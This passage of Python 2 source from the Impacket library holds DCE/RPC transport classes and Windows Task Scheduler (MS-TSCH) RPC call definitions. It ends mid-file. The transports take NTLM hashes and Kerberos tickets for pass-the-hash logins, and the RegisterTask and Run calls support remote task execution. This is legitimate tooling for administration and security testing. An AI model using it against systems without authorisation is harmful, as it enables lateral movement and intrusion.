('Handle', PSASEC_HANDLE),
('pwszJobName', WSTR),
('pwszAccount', WSTR),
('pwszPassword', LPWSTR),
('dwJobFlags', DWORD),
)
class SASetAccountInformationResponse(NDRCALL):
structure = (
('ErrorCode',ULONG),
)
# 3.2.5.3.5 SASetNSAccountInformation (Opnum 1)
class SASetNSAccountInformation(NDRCALL):
opnum = 1
structure = (
('Handle', PSASEC_HANDLE),
('pwszAccount', LPWSTR),
('pwszPassword', LPWSTR),
)
class SASetNSAccountInformationResponse(NDRCALL):
structure = (
('ErrorCode',ULONG),
)
# 3.2.5.3.6 SAGetNSAccountInformation (Opnum 2)
class SAGetNSAccountInformation(NDRCALL):
opnum = 2
structure = (
('Handle', PSASEC_HANDLE),
('ccBufferSize', DWORD),
('wszBuffer', WORD_ARRAY),
)
class SAGetNSAccountInformationResponse(NDRCALL):
structure = (
('wszBuffer',WORD_ARRAY),
('ErrorCode',ULONG),
)
# 3.2.5.3.7 SAGetAccountInformation (Opnum 3)
class SAGetAccountInformation(NDRCALL):
opnum = 3
structure = (
('Handle', PSASEC_HANDLE),
('pwszJobName', WSTR),
('ccBufferSize', DWORD),
('wszBuffer', WORD_ARRAY),
)
class SAGetAccountInformationResponse(NDRCALL):
structure = (
('wszBuffer',WORD_ARRAY),
('ErrorCode',ULONG),
)
################################################################################
# OPNUMs and their corresponding structures
################################################################################
OPNUMS = {
0 : (SASetAccountInformation, SASetAccountInformationResponse),
1 : (SASetNSAccountInformation, SASetNSAccountInformationResponse),
2 : (SAGetNSAccountInformation, SAGetNSAccountInformationResponse),
3 : (SAGetAccountInformation, SAGetAccountInformationResponse),
}
################################################################################
# HELPER FUNCTIONS
################################################################################
def checkNullString(string):
if string == NULL:
return string
if string[-1:] != '\x00':
return string + '\x00'
else:
return string
def hSASetAccountInformation(dce, handle, pwszJobName, pwszAccount, pwszPassword, dwJobFlags=0):
request = SASetAccountInformation()
request['Handle'] = handle
request['pwszJobName'] = checkNullString(pwszJobName)
request['pwszAccount'] = checkNullString(pwszAccount)
request['pwszPassword'] = checkNullString(pwszPassword)
request['dwJobFlags'] = dwJobFlags
return dce.request(request)
def hSASetNSAccountInformation(dce, handle, pwszAccount, pwszPassword):
request = SASetNSAccountInformation()
request['Handle'] = handle
request['pwszAccount'] = checkNullString(pwszAccount)
request['pwszPassword'] = checkNullString(pwszPassword)
return dce.request(request)
def hSAGetNSAccountInformation(dce, handle, ccBufferSize = MAX_BUFFER_SIZE):
request = SAGetNSAccountInformation()
request['Handle'] = handle
request['ccBufferSize'] = ccBufferSize
for _ in range(ccBufferSize):
request['wszBuffer'].append(0)
return dce.request(request)
def hSAGetAccountInformation(dce, handle, pwszJobName, ccBufferSize = MAX_BUFFER_SIZE):
request = SAGetAccountInformation()
request['Handle'] = handle
request['pwszJobName'] = checkNullString(pwszJobName)
request['ccBufferSize'] = ccBufferSize
for _ in range(ccBufferSize):
request['wszBuffer'].append(0)
return dce.request(request)

View File

@@ -0,0 +1,473 @@
# Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author: Alberto Solino (@agsolino)
#
# Description:
# Transport implementations for the DCE/RPC protocol.
#
import re
import socket
import binascii
import os
from impacket.smbconnection import smb, SMBConnection
from impacket import nmb
from impacket import ntlm
from impacket.dcerpc.v5.rpcrt import DCERPCException, DCERPC_v5, DCERPC_v4
class DCERPCStringBinding:
parser = re.compile(r'(?:([a-fA-F0-9-]{8}(?:-[a-fA-F0-9-]{4}){3}-[a-fA-F0-9-]{12})@)?' # UUID (opt.)
+'([_a-zA-Z0-9]*):' # Protocol Sequence
+'([^\[]*)' # Network Address (opt.)
+'(?:\[([^\]]*)\])?') # Endpoint and options (opt.)
def __init__(self, stringbinding):
match = DCERPCStringBinding.parser.match(stringbinding)
self.__uuid = match.group(1)
self.__ps = match.group(2)
self.__na = match.group(3)
options = match.group(4)
if options:
options = options.split(',')
self.__endpoint = options[0]
try:
self.__endpoint.index('endpoint=')
self.__endpoint = self.__endpoint[len('endpoint='):]
except:
pass
self.__options = options[1:]
else:
self.__endpoint = ''
self.__options = []
def get_uuid(self):
return self.__uuid
def get_protocol_sequence(self):
return self.__ps
def get_network_address(self):
return self.__na
def get_endpoint(self):
return self.__endpoint
def get_options(self):
return self.__options
def __str__(self):
return DCERPCStringBindingCompose(self.__uuid, self.__ps, self.__na, self.__endpoint, self.__options)
def DCERPCStringBindingCompose(uuid=None, protocol_sequence='', network_address='', endpoint='', options=[]):
s = ''
if uuid: s += uuid + '@'
s += protocol_sequence + ':'
if network_address: s += network_address
if endpoint or options:
s += '[' + endpoint
if options: s += ',' + ','.join(options)
s += ']'
return s
def DCERPCTransportFactory(stringbinding):
sb = DCERPCStringBinding(stringbinding)
na = sb.get_network_address()
ps = sb.get_protocol_sequence()
if 'ncadg_ip_udp' == ps:
port = sb.get_endpoint()
if port:
return UDPTransport(na, int(port))
else:
return UDPTransport(na)
elif 'ncacn_ip_tcp' == ps:
port = sb.get_endpoint()
if port:
return TCPTransport(na, int(port))
else:
return TCPTransport(na)
elif 'ncacn_http' == ps:
port = sb.get_endpoint()
if port:
return HTTPTransport(na, int(port))
else:
return HTTPTransport(na)
elif 'ncacn_np' == ps:
named_pipe = sb.get_endpoint()
if named_pipe:
named_pipe = named_pipe[len(r'\pipe'):]
return SMBTransport(na, filename = named_pipe)
else:
return SMBTransport(na)
elif 'ncalocal' == ps:
named_pipe = sb.get_endpoint()
return LOCALTransport(filename = named_pipe)
else:
raise DCERPCException("Unknown protocol sequence.")
class DCERPCTransport:
DCERPC_class = DCERPC_v5
def __init__(self, remoteName, dstport):
self.__remoteName = remoteName
self.__remoteHost = remoteName
self.__dstport = dstport
self._max_send_frag = None
self._max_recv_frag = None
self._domain = ''
self._lmhash = ''
self._nthash = ''
self.__connect_timeout = None
self._doKerberos = False
self._username = ''
self._password = ''
self._domain = ''
self._aesKey = None
self._TGT = None
self._TGS = None
self._kdcHost = None
self.set_credentials('','')
def connect(self):
raise RuntimeError, 'virtual function'
def send(self,data=0, forceWriteAndx = 0, forceRecv = 0):
raise RuntimeError, 'virtual function'
def recv(self, forceRecv = 0, count = 0):
raise RuntimeError, 'virtual function'
def disconnect(self):
raise RuntimeError, 'virtual function'
def get_socket(self):
raise RuntimeError, 'virtual function'
def get_connect_timeout(self):
return self.__connect_timeout
def set_connect_timeout(self, timeout):
self.__connect_timeout = timeout
def getRemoteName(self):
return self.__remoteName
def setRemoteName(self, remoteName):
"""This method only makes sense before connection for most protocols."""
self.__remoteName = remoteName
def getRemoteHost(self):
return self.__remoteHost
def setRemoteHost(self, remoteHost):
"""This method only makes sense before connection for most protocols."""
self.__remoteHost = remoteHost
def get_dport(self):
return self.__dstport
def set_dport(self, dport):
"""This method only makes sense before connection for most protocols."""
self.__dstport = dport
def get_addr(self):
return self.getRemoteHost(), self.get_dport()
def set_addr(self, addr):
"""This method only makes sense before connection for most protocols."""
self.setRemoteHost(addr[0])
self.set_dport(addr[1])
def set_kerberos(self, flag, kdcHost = None):
self._doKerberos = flag
self._kdcHost = kdcHost
def get_kerberos(self):
return self._doKerberos
def get_kdcHost(self):
return self._kdcHost
def set_max_fragment_size(self, send_fragment_size):
# -1 is default fragment size: 0 (don't fragment)
# 0 is don't fragment
# other values are max fragment size
if send_fragment_size == -1:
self.set_default_max_fragment_size()
else:
self._max_send_frag = send_fragment_size
def set_default_max_fragment_size(self):
# default is 0: don't fragment.
# subclasses may override this method
self._max_send_frag = 0
def get_credentials(self):
return (
self._username,
self._password,
self._domain,
self._lmhash,
self._nthash,
self._aesKey,
self._TGT,
self._TGS)
def set_credentials(self, username, password, domain='', lmhash='', nthash='', aesKey='', TGT=None, TGS=None):
self._username = username
self._password = password
self._domain = domain
self._aesKey = aesKey
self._TGT = TGT
self._TGS = TGS
if lmhash != '' or nthash != '':
if len(lmhash) % 2: lmhash = '0%s' % lmhash
if len(nthash) % 2: nthash = '0%s' % nthash
try: # just in case they were converted already
self._lmhash = binascii.unhexlify(lmhash)
self._nthash = binascii.unhexlify(nthash)
except:
self._lmhash = lmhash
self._nthash = nthash
pass
def doesSupportNTLMv2(self):
# By default we'll be returning the library's deafult. Only on SMB Transports we might be able to know it beforehand
return ntlm.USE_NTLMv2
def get_dce_rpc(self):
return DCERPC_v5(self)
class UDPTransport(DCERPCTransport):
"Implementation of ncadg_ip_udp protocol sequence"
DCERPC_class = DCERPC_v4
def __init__(self, remoteName, dstport = 135):
DCERPCTransport.__init__(self, remoteName, dstport)
self.__socket = 0
self.set_connect_timeout(30)
self.__recv_addr = ''
def connect(self):
try:
af, socktype, proto, canonname, sa = socket.getaddrinfo(self.getRemoteHost(), self.get_dport(), 0, socket.SOCK_DGRAM)[0]
self.__socket = socket.socket(af, socktype, proto)
self.__socket.settimeout(self.get_connect_timeout())
except socket.error, msg:
self.__socket = None
raise DCERPCException("Could not connect: %s" % msg)
return 1
def disconnect(self):
try:
self.__socket.close()
except socket.error:
self.__socket = None
return 0
return 1
def send(self,data, forceWriteAndx = 0, forceRecv = 0):
self.__socket.sendto(data, (self.getRemoteHost(), self.get_dport()))
def recv(self, forceRecv = 0, count = 0):
buffer, self.__recv_addr = self.__socket.recvfrom(8192)
return buffer
def get_recv_addr(self):
return self.__recv_addr
def get_socket(self):
return self.__socket
class TCPTransport(DCERPCTransport):
"""Implementation of ncacn_ip_tcp protocol sequence"""
def __init__(self, remoteName, dstport = 135):
DCERPCTransport.__init__(self, remoteName, dstport)
self.__socket = 0
self.set_connect_timeout(30)
def connect(self):
af, socktype, proto, canonname, sa = socket.getaddrinfo(self.getRemoteHost(), self.get_dport(), 0, socket.SOCK_STREAM)[0]
self.__socket = socket.socket(af, socktype, proto)
try:
self.__socket.settimeout(self.get_connect_timeout())
self.__socket.connect(sa)
except socket.error, msg:
self.__socket.close()
raise DCERPCException("Could not connect: %s" % msg)
return 1
def disconnect(self):
try:
self.__socket.close()
except socket.error, msg:
self.__socket = None
return 0
return 1
def send(self,data, forceWriteAndx = 0, forceRecv = 0):
if self._max_send_frag:
offset = 0
while 1:
toSend = data[offset:offset+self._max_send_frag]
if not toSend:
break
self.__socket.send(toSend)
offset += len(toSend)
else:
self.__socket.send(data)
def recv(self, forceRecv = 0, count = 0):
if count:
buffer = ''
while len(buffer) < count:
buffer += self.__socket.recv(count-len(buffer))
else:
buffer = self.__socket.recv(8192)
return buffer
def get_socket(self):
return self.__socket
class HTTPTransport(TCPTransport):
"""Implementation of ncacn_http protocol sequence"""
def connect(self):
TCPTransport.connect(self)
self.get_socket().send('RPC_CONNECT ' + self.getRemoteHost() + ':593 HTTP/1.0\r\n\r\n')
data = self.get_socket().recv(8192)
if data[10:13] != '200':
raise DCERPCException("Service not supported.")
class SMBTransport(DCERPCTransport):
"""Implementation of ncacn_np protocol sequence"""
def __init__(self, remoteName, dstport=445, filename='', username='', password='', domain='', lmhash='', nthash='',
aesKey='', TGT=None, TGS=None, remote_host='', smb_connection=0, doKerberos=False, kdcHost=None):
DCERPCTransport.__init__(self, remoteName, dstport)
self.__socket = None
self.__tid = 0
self.__filename = filename
self.__handle = 0
self.__pending_recv = 0
self.set_credentials(username, password, domain, lmhash, nthash, aesKey, TGT, TGS)
self._doKerberos = doKerberos
self._kdcHost = kdcHost
if remote_host != '':
self.setRemoteHost(remote_host)
if smb_connection == 0:
self.__existing_smb = False
else:
self.__existing_smb = True
self.set_credentials(*smb_connection.getCredentials())
self.__prefDialect = None
self.__smb_connection = smb_connection
def preferred_dialect(self, dialect):
self.__prefDialect = dialect
def setup_smb_connection(self):
if not self.__smb_connection:
self.__smb_connection = SMBConnection(self.getRemoteName(), self.getRemoteHost(), sess_port=self.get_dport(),
preferredDialect=self.__prefDialect)
def connect(self):
# Check if we have a smb connection already setup
if self.__smb_connection == 0:
self.setup_smb_connection()
if self._doKerberos is False:
self.__smb_connection.login(self._username, self._password, self._domain, self._lmhash, self._nthash)
else:
self.__smb_connection.kerberosLogin(self._username, self._password, self._domain, self._lmhash,
self._nthash, self._aesKey, kdcHost=self._kdcHost, TGT=self._TGT,
TGS=self._TGS)
self.__tid = self.__smb_connection.connectTree('IPC$')
self.__handle = self.__smb_connection.openFile(self.__tid, self.__filename)
self.__socket = self.__smb_connection.getSMBServer().get_socket()
return 1
def disconnect(self):
self.__smb_connection.disconnectTree(self.__tid)
# If we created the SMB connection, we close it, otherwise
# that's up for the caller
if self.__existing_smb is False:
self.__smb_connection.logoff()
self.__smb_connection = 0
def send(self,data, forceWriteAndx = 0, forceRecv = 0):
if self._max_send_frag:
offset = 0
while 1:
toSend = data[offset:offset+self._max_send_frag]
if not toSend:
break
self.__smb_connection.writeFile(self.__tid, self.__handle, toSend, offset = offset)
offset += len(toSend)
else:
self.__smb_connection.writeFile(self.__tid, self.__handle, data)
if forceRecv:
self.__pending_recv += 1
def recv(self, forceRecv = 0, count = 0 ):
if self._max_send_frag or self.__pending_recv:
# _max_send_frag is checked because it's the same condition we checked
# to decide whether to use write_andx() or send_trans() in send() above.
if self.__pending_recv:
self.__pending_recv -= 1
return self.__smb_connection.readFile(self.__tid, self.__handle, bytesToRead = self._max_recv_frag)
else:
return self.__smb_connection.readFile(self.__tid, self.__handle)
def get_smb_connection(self):
return self.__smb_connection
def set_smb_connection(self, smb_connection):
self.__smb_connection = smb_connection
self.set_credentials(*smb_connection.getCredentials())
self.__existing_smb = True
def get_smb_server(self):
# Raw Access to the SMBServer (whatever type it is)
return self.__smb_connection.getSMBServer()
def get_socket(self):
return self.__socket
def doesSupportNTLMv2(self):
return self.__smb_connection.doesSupportNTLMv2()
class LOCALTransport(DCERPCTransport):
"""
Implementation of ncalocal protocol sequence, not the same
as ncalrpc (I'm not doing LPC just opening the local pipe)
"""
def __init__(self, filename = ''):
DCERPCTransport.__init__(self, '', 0)
self.__filename = filename
self.__handle = 0
def connect(self):
if self.__filename.upper().find('PIPE') < 0:
self.__filename = '\\PIPE\\%s' % self.__filename
self.__handle = os.open('\\\\.\\%s' % self.__filename, os.O_RDWR|os.O_BINARY)
return 1
def disconnect(self):
os.close(self.__handle)
def send(self,data, forceWriteAndx = 0, forceRecv = 0):
os.write(self.__handle, data)
def recv(self, forceRecv = 0, count = 0 ):
data = os.read(self.__handle, 65535)
return data

View File

@@ -0,0 +1,758 @@
# Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author: Alberto Solino (@agsolino)
#
# Description:
# [MS-TSCH] ITaskSchedulerService Interface implementation
#
# Best way to learn how to use these calls is to grab the protocol standard
# so you understand what the call does, and then read the test case located
# at https://github.com/CoreSecurity/impacket/tree/master/impacket/testcases/SMB_RPC
#
# Some calls have helper functions, which makes it even easier to use.
# They are located at the end of this file.
# Helper functions start with "h"<name of the call>.
# There are test cases for them too.
#
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray
from impacket.dcerpc.v5.dtypes import DWORD, LPWSTR, ULONG, WSTR, NULL, GUID, PSYSTEMTIME, SYSTEMTIME
from impacket.structure import Structure
from impacket import hresult_errors, system_errors
from impacket.uuid import uuidtup_to_bin
from impacket.dcerpc.v5.rpcrt import DCERPCException
MSRPC_UUID_TSCHS = uuidtup_to_bin(('86D35949-83C9-4044-B424-DB363231FD0C','1.0'))
class DCERPCSessionError(DCERPCException):
def __init__(self, error_string=None, error_code=None, packet=None):
DCERPCException.__init__(self, error_string, error_code, packet)
def __str__( self ):
key = self.error_code
if hresult_errors.ERROR_MESSAGES.has_key(key):
error_msg_short = hresult_errors.ERROR_MESSAGES[key][0]
error_msg_verbose = hresult_errors.ERROR_MESSAGES[key][1]
return 'TSCH SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
elif system_errors.ERROR_MESSAGES.has_key(key & 0xffff):
error_msg_short = system_errors.ERROR_MESSAGES[key & 0xffff][0]
error_msg_verbose = system_errors.ERROR_MESSAGES[key & 0xffff][1]
return 'TSCH SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
else:
return 'TSCH SessionError: unknown error code: 0x%x' % self.error_code
################################################################################
# CONSTANTS
################################################################################
# 2.3.1 Constant Values
CNLEN = 15
DNLEN = CNLEN
UNLEN = 256
MAX_BUFFER_SIZE = (DNLEN+UNLEN+1+1)
# 2.3.7 Flags
TASK_FLAG_INTERACTIVE = 0x1
TASK_FLAG_DELETE_WHEN_DONE = 0x2
TASK_FLAG_DISABLED = 0x4
TASK_FLAG_START_ONLY_IF_IDLE = 0x10
TASK_FLAG_KILL_ON_IDLE_END = 0x20
TASK_FLAG_DONT_START_IF_ON_BATTERIES = 0x40
TASK_FLAG_KILL_IF_GOING_ON_BATTERIES = 0x80
TASK_FLAG_RUN_ONLY_IF_DOCKED = 0x100
TASK_FLAG_HIDDEN = 0x200
TASK_FLAG_RUN_IF_CONNECTED_TO_INTERNET = 0x400
TASK_FLAG_RESTART_ON_IDLE_RESUME = 0x800
TASK_FLAG_SYSTEM_REQUIRED = 0x1000
TASK_FLAG_RUN_ONLY_IF_LOGGED_ON = 0x2000
# 2.3.9 TASK_LOGON_TYPE
TASK_LOGON_NONE = 0
TASK_LOGON_PASSWORD = 1
TASK_LOGON_S4U = 2
TASK_LOGON_INTERACTIVE_TOKEN = 3
TASK_LOGON_GROUP = 4
TASK_LOGON_SERVICE_ACCOUNT = 5
TASK_LOGON_INTERACTIVE_TOKEN_OR_PASSWORD = 6
# 2.3.13 TASK_STATE
TASK_STATE_UNKNOWN = 0
TASK_STATE_DISABLED = 1
TASK_STATE_QUEUED = 2
TASK_STATE_READY = 3
TASK_STATE_RUNNING = 4
# 2.4.1 FIXDLEN_DATA
SCHED_S_TASK_READY = 0x00041300
SCHED_S_TASK_RUNNING = 0x00041301
SCHED_S_TASK_NOT_SCHEDULED = 0x00041301
# 2.4.2.11 Triggers
TASK_TRIGGER_FLAG_HAS_END_DATE = 0
TASK_TRIGGER_FLAG_KILL_AT_DURATION_END = 0
TASK_TRIGGER_FLAG_DISABLED = 0
# ToDo: Change this to enums
ONCE = 0
DAILY = 1
WEEKLY = 2
MONTHLYDATE = 3
MONTHLYDOW = 4
EVENT_ON_IDLE = 5
EVENT_AT_SYSTEMSTART = 6
EVENT_AT_LOGON = 7
SUNDAY = 0
MONDAY = 1
TUESDAY = 2
WEDNESDAY = 3
THURSDAY = 4
FRIDAY = 5
SATURDAY = 6
JANUARY = 1
FEBRUARY = 2
MARCH = 3
APRIL = 4
MAY = 5
JUNE = 6
JULY = 7
AUGUST = 8
SEPTEMBER = 9
OCTOBER = 10
NOVEMBER = 11
DECEMBER = 12
# 2.4.2.11.8 MONTHLYDOW Trigger
FIRST_WEEK = 1
SECOND_WEEK = 2
THIRD_WEEK = 3
FOURTH_WEEK = 4
LAST_WEEK = 5
# 2.3.12 TASK_NAMES
TASK_NAMES = LPWSTR
# 3.2.5.4.2 SchRpcRegisterTask (Opnum 1)
TASK_VALIDATE_ONLY = 1<<(31-31)
TASK_CREATE = 1<<(31-30)
TASK_UPDATE = 1<<(31-29)
TASK_DISABLE = 1<<(31-28)
TASK_DON_ADD_PRINCIPAL_ACE = 1<<(31-27)
TASK_IGNORE_REGISTRATION_TRIGGERS = 1<<(31-26)
# 3.2.5.4.7 SchRpcEnumFolders (Opnum 6)
TASK_ENUM_HIDDEN = 1
# 3.2.5.4.13 SchRpcRun (Opnum 12)
TASK_RUN_AS_SELF = 1<<(31-31)
TASK_RUN_IGNORE_CONSTRAINTS = 1<<(31-30)
TASK_RUN_USE_SESSION_ID = 1<<(31-29)
TASK_RUN_USER_SID = 1<<(31-28)
class SYSTEMTIME_ARRAY(NDRUniConformantArray):
item = SYSTEMTIME
class PSYSTEMTIME_ARRAY(NDRPOINTER):
referent = (
('Data',SYSTEMTIME_ARRAY),
)
# 3.2.5.4.18 SchRpcGetTaskInfo (Opnum 17)
SCH_FLAG_STATE = 1<<(31-3)
################################################################################
# STRUCTURES
################################################################################
# 2.3.12 TASK_NAMES
class TASK_NAMES_ARRAY(NDRUniConformantArray):
item = TASK_NAMES
class PTASK_NAMES_ARRAY(NDRPOINTER):
referent = (
('Data',TASK_NAMES_ARRAY),
)
class WSTR_ARRAY(NDRUniConformantArray):
item = WSTR
class PWSTR_ARRAY(NDRPOINTER):
referent = (
('Data',WSTR_ARRAY),
)
class GUID_ARRAY(NDRUniConformantArray):
item = GUID
class PGUID_ARRAY(NDRPOINTER):
referent = (
('Data',TASK_NAMES_ARRAY),
)
# 3.2.5.4.13 SchRpcRun (Opnum 12)
class SYSTEMTIME_ARRAY(NDRUniConformantArray):
item = SYSTEMTIME
class PSYSTEMTIME_ARRAY(NDRPOINTER):
referent = (
('Data',SYSTEMTIME_ARRAY),
)
# 2.3.8 TASK_USER_CRED
class TASK_USER_CRED(NDRSTRUCT):
structure = (
('userId',LPWSTR),
('password',LPWSTR),
('flags',DWORD),
)
class TASK_USER_CRED_ARRAY(NDRUniConformantArray):
item = TASK_USER_CRED
class LPTASK_USER_CRED_ARRAY(NDRPOINTER):
referent = (
('Data',TASK_USER_CRED_ARRAY),
)
# 2.3.10 TASK_XML_ERROR_INFO
class TASK_XML_ERROR_INFO(NDRSTRUCT):
structure = (
('line',DWORD),
('column',DWORD),
('node',LPWSTR),
('value',LPWSTR),
)
class PTASK_XML_ERROR_INFO(NDRPOINTER):
referent = (
('Data',TASK_XML_ERROR_INFO),
)
# 2.4.1 FIXDLEN_DATA
class FIXDLEN_DATA(Structure):
structure = (
('Product Version','<H=0'),
('File Version','<H=0'),
('Job uuid','16s="'),
('App Name Len Offset','<H=0'),
('Trigger Offset','<H=0'),
('Error Retry Count','<H=0'),
('Error Retry Interval','<H=0'),
('Idle Deadline','<H=0'),
('Idle Wait','<H=0'),
('Priority','<L=0'),
('Maximum Run Time','<L=0'),
('Exit Code','<L=0'),
('Status','<L=0'),
('Flags','<L=0'),
)
# 2.4.2.11 Triggers
class FIXDLEN_DATA(Structure):
structure = (
('Trigger Size','<H=0'),
('Reserved1','<H=0'),
('Begin Year','<H=0'),
('Begin Month','<H=0'),
('Begin Day','<H=0'),
('End Year','<H=0'),
('End Month','<H=0'),
('End Day','<H=0'),
('Start Hour','<H=0'),
('Start Minute','<H=0'),
('Minutes Duration','<L=0'),
('Minutes Interval','<L=0'),
('Flags','<L=0'),
('Trigger Type','<L=0'),
('TriggerSpecific0','<H=0'),
('TriggerSpecific1','<H=0'),
('TriggerSpecific2','<H=0'),
('Padding','<H=0'),
('Reserved2','<H=0'),
('Reserved3','<H=0'),
)
# 2.4.2.11.6 WEEKLY Trigger
class WEEKLY(Structure):
structure = (
('Trigger Type','<L=0'),
('Weeks Interval','<H=0'),
('DaysOfTheWeek','<H=0'),
('Unused','<H=0'),
('Padding','<H=0'),
)
# 2.4.2.11.7 MONTHLYDATE Trigger
class MONTHLYDATE(Structure):
structure = (
('Trigger Type','<L=0'),
('Days','<L=0'),
('Months','<H=0'),
('Padding','<H=0'),
)
# 2.4.2.11.8 MONTHLYDOW Trigger
class MONTHLYDOW(Structure):
structure = (
('Trigger Type','<L=0'),
('WhichWeek','<H=0'),
('DaysOfTheWeek','<H=0'),
('Months','<H=0'),
('Padding','<H=0'),
('Reserved2','<H=0'),
('Reserved3','<H=0'),
)
# 2.4.2.12 Job Signature
class JOB_SIGNATURE(Structure):
structure = (
('SignatureVersion','<HH0'),
('MinClientVersion','<H=0'),
('Signature','64s="'),
)
################################################################################
# RPC CALLS
################################################################################
# 3.2.5.4.1 SchRpcHighestVersion (Opnum 0)
class SchRpcHighestVersion(NDRCALL):
opnum = 0
structure = (
)
class SchRpcHighestVersionResponse(NDRCALL):
structure = (
('pVersion', DWORD),
('ErrorCode',ULONG),
)
# 3.2.5.4.2 SchRpcRegisterTask (Opnum 1)
class SchRpcRegisterTask(NDRCALL):
opnum = 1
structure = (
('path', LPWSTR),
('xml', WSTR),
('flags', DWORD),
('sddl', LPWSTR),
('logonType', DWORD),
('cCreds', DWORD),
('pCreds', LPTASK_USER_CRED_ARRAY),
)
class SchRpcRegisterTaskResponse(NDRCALL):
structure = (
('pActualPath', LPWSTR),
('pErrorInfo', PTASK_XML_ERROR_INFO),
('ErrorCode',ULONG),
)
# 3.2.5.4.3 SchRpcRetrieveTask (Opnum 2)
class SchRpcRetrieveTask(NDRCALL):
opnum = 2
structure = (
('path', WSTR),
('lpcwszLanguagesBuffer', WSTR),
('pulNumLanguages', DWORD),
)
class SchRpcRetrieveTaskResponse(NDRCALL):
structure = (
('pXml', LPWSTR),
('ErrorCode',ULONG),
)
# 3.2.5.4.4 SchRpcCreateFolder (Opnum 3)
class SchRpcCreateFolder(NDRCALL):
opnum = 3
structure = (
('path', WSTR),
('sddl', LPWSTR),
('flags', DWORD),
)
class SchRpcCreateFolderResponse(NDRCALL):
structure = (
('ErrorCode',ULONG),
)
# 3.2.5.4.7 SchRpcEnumFolders (Opnum 6)
class SchRpcEnumFolders(NDRCALL):
opnum = 6
structure = (
('path', WSTR),
('flags', DWORD),
('startIndex', DWORD),
('cRequested', DWORD),
)
class SchRpcEnumFoldersResponse(NDRCALL):
structure = (
('startIndex', DWORD),
('pcNames', DWORD),
('pNames', PTASK_NAMES_ARRAY),
('ErrorCode',ULONG),
)
# 3.2.5.4.8 SchRpcEnumTasks (Opnum 7)
class SchRpcEnumTasks(NDRCALL):
opnum = 7
structure = (
('path', WSTR),
('flags', DWORD),
('startIndex', DWORD),
('cRequested', DWORD),
)
class SchRpcEnumTasksResponse(NDRCALL):
structure = (
('startIndex', DWORD),
('pcNames', DWORD),
('pNames', PTASK_NAMES_ARRAY),
('ErrorCode',ULONG),
)
# 3.2.5.4.9 SchRpcEnumInstances (Opnum 8)
class SchRpcEnumInstances(NDRCALL):
opnum = 8
structure = (
('path', LPWSTR),
('flags', DWORD),
)
class SchRpcEnumInstancesResponse(NDRCALL):
structure = (
('pcGuids', DWORD),
('pGuids', PGUID_ARRAY),
('ErrorCode',ULONG),
)
# 3.2.5.4.10 SchRpcGetInstanceInfo (Opnum 9)
class SchRpcGetInstanceInfo(NDRCALL):
opnum = 9
structure = (
('guid', GUID),
)
class SchRpcGetInstanceInfoResponse(NDRCALL):
structure = (
('pPath', LPWSTR),
('pState', DWORD),
('pCurrentAction', LPWSTR),
('pInfo', LPWSTR),
('pcGroupInstances', DWORD),
('pGroupInstances', PGUID_ARRAY),
('pEnginePID', DWORD),
('ErrorCode',ULONG),
)
# 3.2.5.4.11 SchRpcStopInstance (Opnum 10)
class SchRpcStopInstance(NDRCALL):
opnum = 10
structure = (
('guid', GUID),
('flags', DWORD),
)
class SchRpcStopInstanceResponse(NDRCALL):
structure = (
('ErrorCode',ULONG),
)
# 3.2.5.4.12 SchRpcStop (Opnum 11)
class SchRpcStop(NDRCALL):
opnum = 11
structure = (
('path', LPWSTR),
('flags', DWORD),
)
class SchRpcStopResponse(NDRCALL):
structure = (
('ErrorCode',ULONG),
)
# 3.2.5.4.13 SchRpcRun (Opnum 12)
class SchRpcRun(NDRCALL):
opnum = 12
structure = (
('path', WSTR),
('cArgs', DWORD),
('pArgs', PWSTR_ARRAY),
('flags', DWORD),
('sessionId', DWORD),
('user', LPWSTR),
)
class SchRpcRunResponse(NDRCALL):
structure = (
('pGuid', GUID),
('ErrorCode',ULONG),
)
# 3.2.5.4.14 SchRpcDelete (Opnum 13)
class SchRpcDelete(NDRCALL):
opnum = 13
structure = (
('path', WSTR),
('flags', DWORD),
)
class SchRpcDeleteResponse(NDRCALL):
structure = (
('ErrorCode',ULONG),
)
# 3.2.5.4.15 SchRpcRename (Opnum 14)
class SchRpcRename(NDRCALL):
opnum = 14
structure = (
('path', WSTR),
('newName', WSTR),
('flags', DWORD),
)
class SchRpcRenameResponse(NDRCALL):
structure = (
('ErrorCode',ULONG),
)
# 3.2.5.4.16 SchRpcScheduledRuntimes (Opnum 15)
class SchRpcScheduledRuntimes(NDRCALL):
opnum = 15
structure = (
('path', WSTR),
('start', PSYSTEMTIME),
('end', PSYSTEMTIME),
('flags', DWORD),
('cRequested', DWORD),
)
class SchRpcScheduledRuntimesResponse(NDRCALL):
structure = (
('pcRuntimes',DWORD),
('pRuntimes',PSYSTEMTIME_ARRAY),
('ErrorCode',ULONG),
)
# 3.2.5.4.17 SchRpcGetLastRunInfo (Opnum 16)
class SchRpcGetLastRunInfo(NDRCALL):
opnum = 16
structure = (
('path', WSTR),
)
class SchRpcGetLastRunInfoResponse(NDRCALL):
structure = (
('pLastRuntime',SYSTEMTIME),
('pLastReturnCode',DWORD),
('ErrorCode',ULONG),
)
# 3.2.5.4.18 SchRpcGetTaskInfo (Opnum 17)
class SchRpcGetTaskInfo(NDRCALL):
opnum = 17
structure = (
('path', WSTR),
('flags', DWORD),
)
class SchRpcGetTaskInfoResponse(NDRCALL):
structure = (
('pEnabled',DWORD),
('pState',DWORD),
('ErrorCode',ULONG),
)
# 3.2.5.4.19 SchRpcGetNumberOfMissedRuns (Opnum 18)
class SchRpcGetNumberOfMissedRuns(NDRCALL):
opnum = 18
structure = (
('path', WSTR),
)
class SchRpcGetNumberOfMissedRunsResponse(NDRCALL):
structure = (
('pNumberOfMissedRuns',DWORD),
('ErrorCode',ULONG),
)
# 3.2.5.4.20 SchRpcEnableTask (Opnum 19)
class SchRpcEnableTask(NDRCALL):
opnum = 19
structure = (
('path', WSTR),
('enabled', DWORD),
)
class SchRpcEnableTaskResponse(NDRCALL):
structure = (
('ErrorCode',ULONG),
)
################################################################################
# OPNUMs and their corresponding structures
################################################################################
OPNUMS = {
